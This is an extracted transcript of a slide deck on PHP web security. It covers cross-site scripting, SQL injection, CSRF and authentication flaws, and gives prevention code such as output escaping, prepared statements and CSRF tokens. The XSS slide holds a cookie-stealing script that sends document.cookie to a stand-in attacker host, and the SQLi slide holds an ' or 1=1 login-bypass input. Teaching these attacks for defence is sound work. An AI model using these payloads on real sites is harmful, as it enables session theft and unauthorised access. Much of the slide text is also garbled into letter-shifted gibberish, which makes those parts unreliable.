PHP Security Bootcamp

Secure PHP Development $ISJT$PSOVUU!FOZHNB

1)1%FW :FBST "QQTFD&OHJOFFS IUUQXFCTFDJP IUUQTFDVSJOHQIQDPN

Goals #BTJDBQQTFDQSJODJQMFT 7VMOFSBCJMJUJFT&YQMPJUT )BOETPOFYQFSJFODF 5PPMT5FDIOJRVFT

IUUQCJUMZPXBTQUPQ

5IFSF`T OPTVDIUIJOH BTTFDVSF

IUUQTHJUIVCDPNQTFDJPOPUDI /PUDI"7VMOFSBCMF"QQMJDBUJPO

IUUQTHJUIVCDPNQTFDJPOPUDI 4FUVQ5JNF PSIUUQOPUDITFDVSJOHQIQDPN

XSS: Cross Site Scripting

*OKFDUJPOPGDPOUFOUJOUPUIFQBHF VTVBMMZ+BWBTDSJQU SFqFDUFEWTTUPSFE QPPSPVUQVUFTDBQJOH

$44 +BWBTDSJQU )5.- )5.-"UUSJCVUF 2VFSZWBMVF Context style: foo-<?=$input?> var name
= “<?=$input?>”; <div><?=$input?></div> <span style=“<?=$input?>”>foo</span> $url = “http://foo.com?data=“.$input

Example <?php echo “Howdy, my name is “.$_GET[‘name’]; ?> ?name=<script>alert(“xss”)</script>

Example <script> xmlhttp = new XMLHttpRequest(); xmlhttp.open( 'GET', ‘http://leethack.php?cookies=‘+document.cookie, true);
xmlhttp.send(); </script> "TTVNFTDSPTTPSJHJOQPMJDZPG

Your Turn

Prevention #1 <?php $name = htmlspecialchars( $_GET[‘name’], ENT_COMPAT, ‘UTF-8’ );
echo “Howdy, my name is “.$name; ?> /PUF5IJTJTPOMZGPSB)5.-DPOUFYU

Prevention #2 {{ name|e(‘html’) }} {{ name|e(‘html_attr’) }} {{ name|e(‘js’)
}} {{ name|e(‘css’) }} /PUF5IJTFYBNQMFSFRVJSFT5XJH

SQLi: SQL Injection

*OKFDUJPOTQFDJpDUP42-TUBUFNFOUT FYQPTFEBUB CZQBTTBVUI NFDIBOJTNT QPPSJOQVUpMUFSJOH

Example $sql = ‘select id from users where username =
“‘.$_POST[‘username’].’” and password = “‘.$_POST[‘password’].’”’; password=‘ or 1=1; # select id from users where username = “user1” and password = “” or 1=1; #

BEE@TMBTIFT NZTRM@SFBM@FTDBQF@TUSJOH NZTRMJ@SFBM@FTDBQF@TUSJOH

BEE@TMBTIFT NZTRM@SFBM@FTDBQF@TUSJOH NZTRMJ@SFBM@FTDBQF@TUSJOH X

1SFQBSFETUBUFNFOUT 1%0 .ZTRMJ

Your Turn

Prevention <?php $stmt = $dbh->prepare(‘select id from users’ .’ where
username = :user’ .’ and password = :pass’); $stmt->execute(array( ‘user’ => $_POST[‘username’], ‘pass’ => $_POST[‘password’] )); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); ?> /PUF5IJTFYBNQMFSFRVJSFT1%0TVQQPSU

CSRF: Cross Site Request Forgery

VOWBMJEBUFEGPSNTVCNJTTJPO POBMMTUBUFDIBOHFT XIBU`TUIFTPVSDF TJNQMF SBOEPNJ[FE GPSFBDIGPSN

Example <form action=“/user/register” method=“POST”> <input type=“text” name=“username”/> <input type=“password” name=“password”/>
<input type=“submit” value=“Register”/> </form>

Example <form action=“/user/register” method=“POST”> <input type=“text” name=“username”/> <input type=“password” name=“password”/>
<input type=“submit” value=“Register”/> <input type=“hidden” value=“098f6bcd4621d373cade4e832627b4f6” name=“csrf-token”/> </form>

Auth*: Authentication & Authorization

EJSFDUPCKFDUSFGFSFODF " EBUBBDDFTT EBOHFSPVTBDUJPOT QPPSVTFSNBOBHFNFOU

Your Turn

QMBJOUFYUQBTTXPSET OPQBTTXPSEQPMJDZ PWFSMZDPNQMFYQBTTXPSET QBTTXPSEIJOUT

But wait, there’s more…

4FDVSJUZ.JTDPOpHVSBUJPO 4FOTJUJWF%BUB&YQPTVSF $PNQPOFOUTXJUI,OPXO7VMOFSBCJMJUJFT 6OWBMJEBUFE3FEJSFDUTBOE'PSXBSET

5IBU`TBMMGPMLT !FOZHNB !TFDVSJOHQIQ IUUQTFDVSJOHQIQDPN

PHP Security Bootcamp

PHP Security Bootcamp

More Decks by Chris Cornutt

Other Decks in Technology

Featured

Transcript